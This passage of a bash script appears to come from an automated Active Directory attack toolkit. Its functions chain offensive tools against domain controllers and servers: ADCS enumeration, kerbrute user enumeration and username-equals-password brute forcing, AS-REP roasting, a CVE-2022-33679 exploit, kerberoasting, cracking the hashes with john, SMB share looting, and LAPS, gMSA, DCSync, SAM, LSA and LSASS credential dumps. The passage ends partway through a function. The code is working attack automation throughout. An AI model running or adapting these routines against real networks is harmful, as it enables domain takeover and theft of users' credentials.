if grep -q 'error' ${output_dir}/DomainRecon/impacket_findDelegation_output_${dc_domain}.txt; then
echo -e "${RED}[-] Errors during Delegation enum... ${NC}"
fi
fi
fi
echo -e ""
}
certi_py_enum () {
if [[ ! -f "${certi_py}" ]] && [[ ! -f "${impacket_dir}/getTGT.py)" ]] ; then
echo -e "${RED}[-] Please verify the installation of certi.py and the location of getTGT.py${NC}"
elif [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] certi.py requires credentials${NC}"
else
echo -e "${BLUE}[*] certi.py Enumeration${NC}"
if [ "${kerb_bool}" == false ] ; then
current_dir=$(pwd)
cd ${output_dir}/Credentials
${python} ${impacket_dir}/getTGT.py ${argument_imp} -dc-ip ${dc_ip}
cd ${current_dir}
export KRB5CCNAME="${output_dir}/Credentials/${user}.ccache"
fi
${certi_py} list ${domain}/${user} -k -n --dc-ip ${dc_ip} --class ca | tee ${output_dir}/DomainRecon/ADCS/certi.py_CA_output_${dc_domain}.txt
${certi_py} list ${domain}/${user} -k -n --dc-ip ${dc_ip} --class service | tee ${output_dir}/DomainRecon/ADCS/certi.py_CAServices_output_${dc_domain}.txt
${certi_py} list ${domain}/${user} -k -n --dc-ip ${dc_ip} --vuln --enabled | tee ${output_dir}/DomainRecon/ADCS/certi.py_vulntemplates_output_${dc_domain}.txt
fi
echo -e ""
}
certipy_enum () {
if [[ ! -f "${certipy}" ]] ; then
echo -e "${RED}[-] Please verify the installation of certipy${NC}"
elif [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] certipy requires credentials${NC}"
else
echo -e "${BLUE}[*] Certipy Enumeration${NC}"
current_dir=$(pwd)
cd ${output_dir}/DomainRecon/ADCS
${certipy} find ${argument_certipy} -dc-ip ${dc_ip} -ns ${dc_ip} -dns-tcp 2>/dev/null | tee ${output_dir}/DomainRecon/ADCS/certipy_output_${dc_domain}.txt
${certipy} find ${argument_certipy} -dc-ip ${dc_ip} -ns ${dc_ip} -dns-tcp -scheme ldap | tee -a ${output_dir}/DomainRecon/ADCS/certipy_output_${dc_domain}.txt
cd ${current_dir}
fi
echo -e ""
}
kerbrute_enum () {
echo -e "${BLUE}[*] kerbrute User Enumeration (Null session)${NC}"
if [ "${nullsess_bool}" == true ] ; then
if [ ! -f "${scripts_dir}/kerbrute" ] ; then
echo -e "${RED}[-] Please verify the location of kerbrute${NC}"
else
echo -e "${YELLOW}[i] Using $users_list wordlist for user enumeration. This may take a while...${NC}"
"${scripts_dir}/kerbrute" userenum ${users_list} -d ${dc_domain} --dc ${dc_ip} -t 5 > ${output_dir}/Kerberos/kerbrute_user_output_${dc_domain}.txt 2>&1
if [ -s "${output_dir}/DomainRecon/users_list_kerbrute_${dc_domain}.txt" ] ; then
echo -e "${GREEN}[+] Printing valid accounts...${NC}"
/bin/cat ${output_dir}/DomainRecon/users_list_kerbrute_${dc_domain}.txt 2>/dev/null | grep "VALID" | cut -d " " -f 8 | cut -d "@" -f 1 | tee ${output_dir}/DomainRecon/users_list_kerbrute_${dc_domain}.txt 2>&1
fi
fi
else
echo -e "${PURPLE}[-] Kerbrute null session enumeration can only be executed without credentials${NC}"
fi
echo -e ""
}
userpass_kerbrute_check () {
if [ ! -f "${scripts_dir}/kerbrute" ] ; then
echo -e "${RED}[-] Please verify the location of kerbrute${NC}"
else
known_users_list="${output_dir}/DomainRecon/users_list_sorted_${dc_domain}.txt"
/bin/cat ${output_dir}/DomainRecon/users_list_*_${dc_domain}.txt 2>/dev/null | sort -uf > ${known_users_list} 2>&1
user_pass_wordlist="${output_dir}/Kerberos/kerbrute_userpass_wordlist_${dc_domain}.txt"
echo -e "${BLUE}[*] kerbrute User=Pass Check (Noisy!)${NC}"
if [ -s "${known_users_list}" ] ; then
echo -e "${YELLOW}[i] Finding users with Password = username using kerbrute. This may take a while...${NC}"
/bin/rm "${user_pass_wordlist}" 2>/dev/null
for i in $(/bin/cat ${known_users_list}); do
echo -e "${i}:${i}" >> "${user_pass_wordlist}"
done
"${scripts_dir}/kerbrute" bruteforce "${user_pass_wordlist}" -d ${dc_domain} --dc ${dc_ip} -t 5 > ${output_dir}/Kerberos/kerbrute_pass_output_${dc_domain}.txt 2>&1
/bin/cat ${output_dir}/Kerberos/kerbrute_pass_output_${dc_domain}.txt 2>&1 | grep "VALID" | cut -d " " -f 8 | cut -d "@" -f 1 > "${output_dir}/DomainRecon/user_eq_pass_valid_kerb_${dc_domain}.txt"
if [ -s "${output_dir}/DomainRecon/user_eq_pass_valid_kerb_${dc_domain}.txt" ] ; then
echo -e "${GREEN}[+] Printing accounts with username=password...${NC}"
/bin/cat ${output_dir}/DomainRecon/user_eq_pass_valid_kerb_${dc_domain}.txt 2>/dev/null
else
echo -e "${PURPLE}[-] No accounts with username=password found${NC}"
fi
else
echo -e "${PURPLE}[-] No known users found. Run user enumeraton (crackmapexec, ldapdomaindump, enum4linux or windapsearch) and try again.${NC}"
fi
fi
echo -e ""
}
asrep_attack () {
if [ ! -f "${impacket_dir}/GetNPUsers.py" ]; then
echo -e "${RED}[-] GetNPUsers.py not found! Please verify the installation of impacket${NC}"
else
known_users_list="${output_dir}/DomainRecon/users_list_sorted_${dc_domain}.txt"
/bin/cat ${output_dir}/DomainRecon/users_list_*_${dc_domain}.txt 2>/dev/null | sort -uf > ${known_users_list} 2>&1
echo -e "${BLUE}[*] AS REP Roasting Attack${NC}"
if [[ "${dc_domain}" != "${domain}" ]] || [ "${nullsess_bool}" == true ] ; then
if [ -s "${known_users_list}" ] ; then
users_scan_list=${known_users_list}
else
echo -e "${YELLOW}[i] No credentials for target domain provided. Using $users_list wordlist...${NC}"
users_scan_list=${users_list}
fi
${python} ${impacket_dir}/GetNPUsers.py "${dc_domain}/" -usersfile ${users_scan_list} -request -dc-ip ${dc_ip} > ${output_dir}/Kerberos/asreproast_output_${dc_domain}.txt 2>&1
/bin/cat ${output_dir}/Kerberos/asreproast_output_${dc_domain}.txt | grep krb5asrep | sed 's/\$krb5asrep\$23\$//' > ${output_dir}/Kerberos/asreproast_hashes_${dc_domain}.txt 2>&1
else
${python} ${impacket_dir}/GetNPUsers.py ${argument_imp} -dc-ip ${dc_ip}
${python} ${impacket_dir}/GetNPUsers.py ${argument_imp} -request -dc-ip ${dc_ip} > ${output_dir}/Kerberos/asreproast_output_${dc_domain}.txt
fi
if grep -q 'error' ${output_dir}/Kerberos/asreproast_output_${dc_domain}.txt; then
echo -e "${RED}[-] Errors during AS REP Roasting Attack... ${NC}"
else
/bin/cat ${output_dir}/Kerberos/asreproast_output_${dc_domain}.txt | grep krb5asrep | sed 's/\$krb5asrep\$23\$//' | tee ${output_dir}/Kerberos/asreproast_hashes_${dc_domain}.txt 2>&1
fi
fi
echo -e ""
}
asreprc4_attack () {
echo -e "${BLUE}[*] CVE-2022-33679 exploit / AS-REP with RC4 session key (Null session)${NC}"
if [ ! -f "${scripts_dir}/CVE-2022-33679.py" ] ; then
echo -e "${RED}[-] Please verify the location of CVE-2022-33679.py${NC}"
else
if [ "${nullsess_bool}" == true ] ; then
if [ ! -f "${output_dir}/Kerberos/asreproast_hashes_${dc_domain}.txt" ]; then
asrep_attack
fi
asrep_user=$(/bin/cat ${output_dir}/Kerberos/asreproast_hashes_${dc_domain}.txt 2>/dev/null| cut -d "@" -f 1 | head -n 1)
if [ ! "${asrep_user}" == "" ]; then
current_dir=$(pwd)
cd ${output_dir}/Credentials
${python} ${scripts_dir}/CVE-2022-33679.py ${dc_domain}/${asrep_user} ${dc_domain} -dc-ip ${dc_ip} | tee ${output_dir}/Kerberos/CVE-2022-33679_output_${dc_domain}.txt 2>&1
cd ${current_dir}
else
echo -e "${PURPLE}[-] No ASREProastable users found to perform Blind Kerberoast. If ASREProastable users exist, re-run ASREPRoast attack and try again.${NC}"
fi
else
echo -e "${PURPLE}[-] CVE-2022-33679 can only be executed without credentials${NC}"
fi
fi
echo -e ""
}
kerberoast_attack () {
if [ ! -f "${impacket_dir}/GetUserSPNs.py" ]; then
echo -e "${RED}[-] GetUserSPNs.py not found! Please verify the installation of impacket${NC}"
else
if [[ "${dc_domain}" != "${domain}" ]] || [ "${nullsess_bool}" == true ] ; then
known_users_list="${output_dir}/DomainRecon/users_list_sorted_${dc_domain}.txt"
/bin/cat ${output_dir}/DomainRecon/users_list_*_${dc_domain}.txt 2>/dev/null | sort -uf > ${known_users_list} 2>&1
echo -e "${BLUE}[*] Blind Kerberoasting Attack${NC}"
asrep_user=$(/bin/cat ${output_dir}/Kerberos/asreproast_hashes_${dc_domain}.txt 2>/dev/null| cut -d "@" -f 1 | head -n 1)
if [ ! "${asrep_user}" == "" ]; then
${python} ${impacket_dir}/GetUserSPNs.py -no-preauth ${asrep_user} -usersfile ${known_users_list} -dc-ip ${dc_ip} "${dc_domain}/" > ${output_dir}/Kerberos/kerberoast_blind_output_${dc_domain}.txt 2>&1
if grep -q 'error' ${output_dir}/Kerberos/kerberoast_blind_output_${dc_domain}.txt; then
echo -e "${RED}[-] Errors during Blind Kerberoast Attack... ${NC}"
else
/bin/cat ${output_dir}/Kerberos/kerberoast_blind_output_${dc_domain}.txt | grep krb5tgs | sed 's/\$krb5tgs\$/:\$krb5tgs\$/' | awk -F "\$" -v OFS="\$" '{print($6,$1,$2,$3,$4,$5,$6,$7,$8)}' | sed 's/\*\$:/:/' > ${output_dir}/Kerberos/kerberoast_hashes_${dc_domain}.txt
fi
else
echo -e "${PURPLE}[-] No ASREProastable users found to perform Blind Kerberoast. Run ASREPRoast attack and try again.${NC}"
fi
else
echo -e "${BLUE}[*] Kerberoast Attack${NC}"
${python} ${impacket_dir}/GetUserSPNs.py ${argument_imp} -dc-ip ${dc_ip} -target-domain ${dc_domain}
${python} ${impacket_dir}/GetUserSPNs.py ${argument_imp} -request -dc-ip ${dc_ip} -target-domain ${dc_domain} > ${output_dir}/Kerberos/kerberoast_output_${dc_domain}.txt
if grep -q 'error' ${output_dir}/Kerberos/kerberoast_output_${dc_domain}.txt; then
echo -e "${RED}[-] Errors during Kerberoast Attack... ${NC}"
else
/bin/cat ${output_dir}/Kerberos/kerberoast_output_${dc_domain}.txt | grep krb5tgs | sed 's/\$krb5tgs\$/:\$krb5tgs\$/' | awk -F "\$" -v OFS="\$" '{print($6,$1,$2,$3,$4,$5,$6,$7,$8)}' | sed 's/\*\$:/:/' > ${output_dir}/Kerberos/kerberoast_hashes_${dc_domain}.txt
fi
fi
fi
echo -e ""
}
john_crack_asrep(){
if [ ! -f "${john}" ] ; then
echo -e "${RED}[-] Please verify the installation of john${NC}"
else
echo -e "${BLUE}[*] Cracking found hashes using john the ripper${NC}"
if [ ! -s ${output_dir}/Kerberos/asreproast_hashes_${dc_domain}.txt ]; then
echo -e "${PURPLE}[-] No accounts with Kerberos preauth disabled found${NC}"
else
echo -e "${YELLOW}[i] Using $pass_list wordlist...${NC}"
echo -e "${CYAN}[*] Launching john on collected asreproast hashes. This may take a while...${NC}"
echo -e "${YELLOW}[i] Press CTRL-C to abort john...${NC}"
$john ${output_dir}/Kerberos/asreproast_hashes_${dc_domain}.txt --format=krb5asrep --wordlist=$pass_list
echo -e "${GREEN}[+] Printing cracked AS REP Roast hashes...${NC}"
$john ${output_dir}/Kerberos/asreproast_hashes_${dc_domain}.txt --format=krb5asrep --show | tee ${output_dir}/Kerberos/asreproast_john_results_${dc_domain}.txt
fi
fi
echo -e ""
}
john_crack_kerberoast(){
if [ ! -f "${john}" ] ; then
echo -e "${RED}[-] Please verify the installation of john${NC}"
else
echo -e "${BLUE}[*] Cracking found hashes using john the ripper${NC}"
if [ ! -s ${output_dir}/Kerberos/kerberoast_hashes_${dc_domain}.txt ]; then
echo -e "${PURPLE}[-] No SPN accounts found${NC}"
else
echo -e "${YELLOW}[i] Using $pass_list wordlist...${NC}"
echo -e "${CYAN}[*] Launching john on collected kerberoast hashes. This may take a while...${NC}"
echo -e "${YELLOW}[i] Press CTRL-C to abort john...${NC}"
$john ${output_dir}/Kerberos/kerberoast_hashes_${dc_domain}.txt --format=krb5tgs --wordlist=$pass_list
echo -e "${GREEN}[+] Printing cracked Kerberoast hashes...${NC}"
$john ${output_dir}/Kerberos/kerberoast_hashes_${dc_domain}.txt --format=krb5tgs --show | tee ${output_dir}/Kerberos/kerberoast_john_results_${dc_domain}.txt
fi
fi
echo -e ""
}
smb_map_dc () {
if [ ! -f "${smbmap}" ]; then
echo -e "${RED}[-] Please verify the installation of smbmap${NC}"
else
echo -e "${BLUE}[*] SMB shares Enumeration on DC${NC}"
if [ "${kerb_bool}" == true ] ; then
echo -e "${PURPLE}[-] smbmap does not support kerberos tickets${NC}"
else
echo -e "${CYAN}[*] Listing accessible SMB shares - Step 1/2${NC}"
${smbmap} -H ${dc_ip} ${argument_smbmap} | grep -v "Working on it..." > ${output_dir}/Shares/SharesDump/smb_shares_${dc_domain}_${dc_ip}.txt 2>&1
echo -e "${CYAN}[*] Listing files in accessible shares - Step 2/2${NC}"
current_dir=$(pwd)
mkdir -p ${output_dir}/Shares/SharesDump/${dc_ip}
cd ${output_dir}/Shares/SharesDump/${dc_ip}
${smbmap} -H ${dc_ip} ${argument_smbmap} -A '\.cspkg|\.publishsettings|\.xml|\.json|\.ini|\.bat|\.log|\.pl|\.py|\.ps1|\.txt|\.config|\.conf|\.cnf|\.sql|\.yml|\.cmd|\.vbs|\.php|\.cs|\.inf' -R --exclude 'ADMIN$' 'C$' 'C' 'IPC$' 'print$' 'SYSVOL' 'NETLOGON' 'prnproc$' | grep -v "Working on it..." > ${output_dir}/Shares/SharesDump/smb_files_${dc_domain}_${dc_ip}.txt 2>&1
cd ${current_dir}
fi
fi
echo -e ""
}
smb_map () {
if [ ! -f "${smbmap}" ]; then
echo -e "${RED}[-] Please verify the installation of smbmap${NC}"
else
echo -e "${BLUE}[*] SMB shares Enumeration${NC}"
smb_scan
echo -e "${BLUE}[*] Listing accessible SMB shares - Step 1/2${NC}"
for i in $(/bin/cat ${servers_smb_list}); do
echo -e "${CYAN}[*] Listing shares on ${i} ${NC}"
if [ "${kerb_bool}" == true ] ; then
echo -e "${PURPLE}[-] smbmap does not support kerberos tickets${NC}"
else
${smbmap} -H $i ${argument_smbmap} | grep -v "Working on it..." > ${output_dir}/Shares/SharesDump/smb_shares_${dc_domain}_${i}.txt 2>&1
fi
done
grep -iaH READ ${output_dir}/Shares/SharesDump/smb_shares_${dc_domain}_*.txt 2>&1 | grep -v 'prnproc\$\|IPC\$\|print\$\|SYSVOL\|NETLOGON' | sed "s/\t/ /g; s/ */ /g; s/READ ONLY/READ-ONLY/g; s/READ, WRITE/READ-WRITE/g; s/smb_shares_//; s/.txt://g; s/${dc_domain}_//g" | rev | cut -d "/" -f 1 | rev | awk -F " " '{print $1 ";" $2 ";" $3}' > ${output_dir}/Shares/all_network_shares_${dc_domain}.csv
grep -iaH READ ${output_dir}/Shares/SharesDump/smb_shares_${dc_domain}_*.txt 2>&1 | grep -v 'prnproc\$\|IPC\$\|print\$\|SYSVOL\|NETLOGON' | sed "s/\t/ /g; s/ */ /g; s/READ ONLY/READ-ONLY/g; s/READ, WRITE/READ-WRITE/g; s/smb_shares_//; s/.txt://g; s/${dc_domain}_//g" | rev | cut -d "/" -f 1 | rev | awk -F " " '{print "\\\\" $1 "\\" $2}' > ${output_dir}/Shares/all_network_shares_${dc_domain}.txt
echo -e "${BLUE}[*] Listing files in accessible shares - Step 2/2${NC}"
for i in $(/bin/cat ${servers_smb_list}); do
echo -e "${CYAN}[*] Listing files in accessible shares on ${i} ${NC}"
if [ "${kerb_bool}" == true ] ; then
echo -e "${PURPLE}[-] smbmap does not support kerberos tickets${NC}"
else
current_dir=$(pwd)
mkdir -p ${output_dir}/Shares/SharesDump/${i}
cd ${output_dir}/Shares/SharesDump/${i}
${smbmap} -H $i ${argument_smbmap} -A '\.cspkg|\.publishsettings|\.xml|\.json|\.ini|\.bat|\.log|\.pl|\.py|\.ps1|\.txt|\.config|\.conf|\.cnf|\.sql|\.yml|\.cmd|\.vbs|\.php|\.cs|\.inf' -R --exclude 'ADMIN$' 'C$' 'C' 'IPC$' 'print$' 'SYSVOL' 'NETLOGON' 'prnproc$' | grep -v "Working on it..." > ${output_dir}/Shares/SharesDump/smb_files_${dc_domain}_${i}.txt 2>&1
cd ${current_dir}
fi
done
fi
echo -e ""
}
shares_cme_dc () {
echo -e "${BLUE}[*] Enumerating Shares on DC using crackmapexec${NC}"
${crackmapexec} smb ${target_dc} ${argument_cme} --shares 2>/dev/null | tee ${output_dir}/Shares/cme_shares_dc_output${dc_domain}.txt 2>&1
echo -e ""
}
shares_cme () {
echo -e "${BLUE}[*] Enumerating Shares on domain servers using crackmapexec ${NC}"
if [ "${kerb_bool}" == true ]; then
echo -e "${PURPLE}[-] Targeting DC only${NC}"
shares_cme_dc
else
smb_scan
${crackmapexec} smb ${servers_smb_list} ${argument_cme} --shares 2>/dev/null | tee ${output_dir}/Shares/cme_shares_output${dc_domain}.txt 2>&1
fi
echo -e ""
}
keepass_scan_dc () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] keepass_discover requires credentials${NC}"
else
echo -e "${BLUE}[*] Search for KeePass-related files and process from DC${NC}"
${crackmapexec} smb ${target_dc} ${argument_cme} -M keepass_discover 2>/dev/null | tee ${output_dir}/Shares/keepass_discover_dc_${dc_domain}_${dc_ip}.txt
fi
echo ""
}
keepass_scan () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] keepass_discover requires credentials${NC}"
else
echo -e "${BLUE}[*] Search for KeePass-related files and process${NC}"
if [ "${kerb_bool}" == true ]; then
echo -e "${PURPLE}[-] Targeting DC only${NC}"
keepass_scan_dc
else
smb_scan
for i in $(/bin/cat ${servers_smb_list}); do
echo -e "${CYAN}[*] keepass_discover of ${i} ${NC}"
${crackmapexec} smb ${i} ${argument_cme} -M keepass_discover 2>/dev/null | tee ${output_dir}/Shares/keepass_discover_${dc_domain}_${i}.txt
done
fi
fi
echo -e ""
}
laps_dump () {
echo -e "${BLUE}[*] LAPS Dump${NC}"
${crackmapexec} ldap ${target} ${argument_cme} -M laps --kdcHost "${kdc}${dc_domain}" 2>/dev/null | tee ${output_dir}/DomainRecon/cme_laps_output_${dc_domain}.txt 2>&1
echo -e ""
}
gmsa_dump () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] gMSA Dump requires credentials${NC}"
else
echo -e "${BLUE}[*] gMSA Dump${NC}"
${crackmapexec} ldap ${dc_ip} ${argument_cme} --gmsa | > ${output_dir}/DomainRecon/cme_gMSA_${dc_domain}.txt
fi
echo -e ""
}
secrets_dump_dc () {
if [ ! -f "${impacket_dir}/secretsdump.py" ] ; then
echo -e "${RED}[-] secretsdump.py not found! Please verify the installation of impacket${NC}"
else
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] Creds dump requires credentials${NC}"
else
echo -e "${BLUE}[*] Performing DCSync using secretsdump${NC}"
${python} ${impacket_dir}/secretsdump.py ${argument_imp}@${dc_ip} -just-dc | tee ${output_dir}/Credentials/dcsync_${dc_domain}.txt
fi
fi
echo -e ""
}
secrets_dump () {
if [ ! -f "${impacket_dir}/secretsdump.py" ] ; then
echo -e "${RED}[-] secretsdump.py not found! Please verify the installation of impacket${NC}"
else
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] impacket requires credentials${NC}"
else
echo -e "${BLUE}[*] Dumping credentials using secretsdump${NC}"
smb_scan
for i in $(/bin/cat ${servers_smb_list}); do
echo -e "${CYAN}[*] secretsdump of ${i} ${NC}"
${python} ${impacket_dir}/secretsdump.py ${argument_imp}@${i} -dc-ip ${dc_ip} | tee ${output_dir}/Credentials/secretsdump_${dc_domain}_${i}.txt
done
fi
fi
echo -e ""
}
sam_dump_dc () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] Creds dump requires credentials${NC}"
else
echo -e "${BLUE}[*] Dumping SAM from DC using crackmapexec${NC}"
${crackmapexec} smb ${target_dc} ${argument_cme} --sam | tee ${output_dir}/Credentials/sam_dump_${dc_domain}_${dc_ip}.txt
fi
echo ""
}
sam_dump () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] Creds dump requires credentials${NC}"
else
echo -e "${BLUE}[*] Dumping SAM credentials${NC}"
if [ "${kerb_bool}" == true ]; then
echo -e "${PURPLE}[-] Targeting DC only${NC}"
sam_dump_dc
else
smb_scan
for i in $(/bin/cat ${servers_smb_list}); do
echo -e "${CYAN}[*] SAM dump of ${i} ${NC}"
${crackmapexec} smb ${i} ${argument_cme} --sam | tee ${output_dir}/Credentials/sam_dump_${dc_domain}_${i}.txt
done
fi
fi
echo -e ""
}
lsa_dump_dc () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] Creds dump requires credentials${NC}"
else
echo -e "${BLUE}[*] Dumping LSA secrets from DC using crackmapexec${NC}"
${crackmapexec} smb ${target_dc} ${argument_cme} --lsa | tee ${output_dir}/Credentials/sam_dump_${dc_domain}_${dc_ip}.txt
fi
echo ""
}
lsa_dump () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] Creds dump requires credentials${NC}"
else
echo -e "${BLUE}[*] Dumping LSA credentials${NC}"
if [ "${kerb_bool}" == true ]; then
echo -e "${PURPLE}[-] Targeting DC only${NC}"
lsa_dump_dc
else
smb_scan
for i in $(/bin/cat ${servers_smb_list}); do
echo -e "${CYAN}[*] LSA dump of ${i} ${NC}"
${crackmapexec} smb ${i} ${argument_cme} --lsa | tee ${output_dir}/Credentials/lsa_dump_${dc_domain}_${i}.txt
done
fi
fi
echo -e ""
}
lsassy_dump_dc () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] Creds dump requires credentials${NC}"
else
echo -e "${BLUE}[*] Dumping LSASS from DC using lsassy${NC}"
${crackmapexec} smb ${target_dc} ${argument_cme} -M lsassy 2>/dev/null | tee ${output_dir}/Credentials/lsass_dump_lsassy_${dc_domain}_${dc_ip}.txt
fi
echo ""
}
lsassy_dump () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] Creds dump requires credentials${NC}"
else
echo -e "${BLUE}[*] Dumping LSASS using lsassy${NC}"
if [ "${kerb_bool}" == true ]; then
echo -e "${PURPLE}[-] Targeting DC only${NC}"
lsassy_dump_dc
else
smb_scan
for i in $(/bin/cat ${servers_smb_list}); do
echo -e "${CYAN}[*] LSASS dump of ${i} using lsassy${NC}"
${crackmapexec} smb ${i} ${argument_cme} -M lsassy 2>/dev/null | tee ${output_dir}/Credentials/lsass_dump_lsassy_${dc_domain}_${i}.txt
done
fi
fi
echo -e ""
}
handlekatz_dump_dc () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] Creds dump requires credentials${NC}"
else
echo -e "${BLUE}[*] Dumping LSASS from DC using handlekatz${NC}"